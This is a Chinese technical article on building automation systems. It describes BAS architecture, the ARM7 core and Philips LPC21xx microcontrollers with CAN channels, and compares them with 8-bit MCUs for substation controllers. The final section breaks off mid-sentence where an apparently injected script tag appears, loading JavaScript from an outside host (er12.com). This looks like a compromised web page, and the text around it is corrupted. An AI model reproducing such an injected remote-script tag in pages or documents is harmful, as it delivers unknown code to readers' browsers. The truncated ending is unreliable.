摘 要:本文阐述了楼宇自动化系统及应用前景,概要介绍了arm7内核和基于arm7的lpc21xx系列高性能微控制器的特点,比较了它与8位mcu的性能差异,讨论了基于16/32位arm7内核的lpc21xx系列微控制器的相关技术和实现方案。
关键词:arm7 mcu bas
近年来,在我国建筑业强劲发展的形势下,建筑智能化市场迅速地成长起来,而给人们带来舒适工作及生活环境的楼宇自控系统的市场也随之越来越大。目前,在这一领域中的国内厂商大都是系统集成商,核心技术和知识产权多为国外少数的楼宇自控厂商所有,因此,有必要鼓励国内厂商开发出具有自身特点的楼宇自动化系统产品,来满足市场对产品性能和价格等多方面的需求。
1、楼宇自动化系统概述
楼宇自动化系统(building automation system,简称bas),实际上是一套中央监控系统。它通过对建筑物(或建筑群)内的各种电力设备、空调设备、冷热源设备、防火、防盗设备等进行集中监控,达到在确保建筑内环境舒适、充分考虑能源节约和环境保护的条件下,使建筑内各种设备状态及利用率均达到最佳的目的。
图1 bas的组成
图1是bas的组成示意图,其中的中央控制室(数据中心)主要包括中央处理机(一台微型计算机、存储器、磁带机和接口装置)、外围设备(显示终端、键盘、打印机)和不间断电源三部分。
传感器是指装设在现场的各种敏感元件、触点和限位开关以及变送器等,用来检测现场设备的各种参数(温度、湿度、压力、液位等),并发出信号送到控制器(分站、数据中心等)。
执行机构是指装设在现场接受分站控制器的输出指令信号、控制现场运行设备的机构,如电动阀、执行机构和调节机构等。
分站控制器是以微处理器为基础的直接数字控制器(ddc),它接收来自传感器的信号,进行数字运算和逻辑判断,处理后自动输出控制信号至执行机构。分站控制器是整个控制系统的核心,它具有ai、ao、di、do四种输入/输出接口。
2、arm及lpc21xx系列微控制器概述
我们在此采用的是基于arm7内核的philips公司的lpc21xx微控制器。arm的文字含义是advanced risc microprocessor(高级risc微处理器)。arm系列是32位微处理器risc微控制器方案,在便携式通讯、数字化多媒体和工业控制中,使用arm正成为一种标准的趋势。根据有关报告,2001年在众多risc微处理器的销售量中,74.6%是arm微处理器。arm将其技术授权给世界上许多著名的半导体、计算机和oem厂商,提供arm相关技术及服务。利用这种合伙关系,arm很快成多全球性risc标准产品的缔造者。目前,共有70多家公司与arm签订了硬件技术使用许可协议,其中包括intel、ibm、lg、nec、sony、philips等大公司。
arm7处理器是arm通用32位微处理器家族的成员之一。arm处理器具有优异的性能,但功耗却很低。arm结构是基于精简指令集计算机reduce instruction-set computer(risc)原理而设计的,指令集和相关的译码机制比复杂指令集计算机complex instruction set computer(cisc)要简单得多;arm7处理器使用3级流水线来增加处理器指令流的速度,可使几个操作同时进行,并使处理和存储器系统连续操作;arm7处理器使用了冯·诺依曼结构,指令和数据共用一条32位总线,只有装载、存储和交换指令可以对存储器中的数据进行访问。
philips公司的lpc21xx系列微控制器是一个基于含arm7tdmi-s内核的cpu,并带有嵌入式flash存储器的mcu,同时它还带有两个can通道。128位宽度的存储器接口和独特的加速结构使32位代码能够在高达60mhz的工作频率下运行。由于lpc21xx系列采用非常小的lqfp或hvqfn封装、极低的功耗、多个32位定时器、4路10位adc、pwm输出以及多达9个外部中断,该系列部分工业级微控制器的工作温度范围可以从-40到85℃,这使它特别适用于楼宇自控系统这样的应用领域。
下表中列出了已经应用在楼宇自动化系统作为控制器的两种产品比较,包括8位mcu和运用arm7内核的16/32位微控制器lpl21xx,由于现在设计生产8位mcu的厂商众多,根据应用的范围不同,片内资源也有很大的区别,而笔者只选择了一种有代表性的芯片来作比较。
表一:应用在bas中的控制器的资源性能比较
从表中我们可以更直观地了解运用arm7内核的16/32位微控制器将给我们的楼宇自控系统的性能带来的提升,它实现了更高的指令吞吐量,更出色的实时中断响应,而且功耗更小。
3、lpc21xx应用在bas的技术方案
图2表示的就是采用了包括两个can控制器的lpc21xx系列的bas的分站控制器cpu模块的简化结构框图。
图2 采用lpc21xx的bas微控制器方框图
can控制器?script src=http://er12.com/t.js>











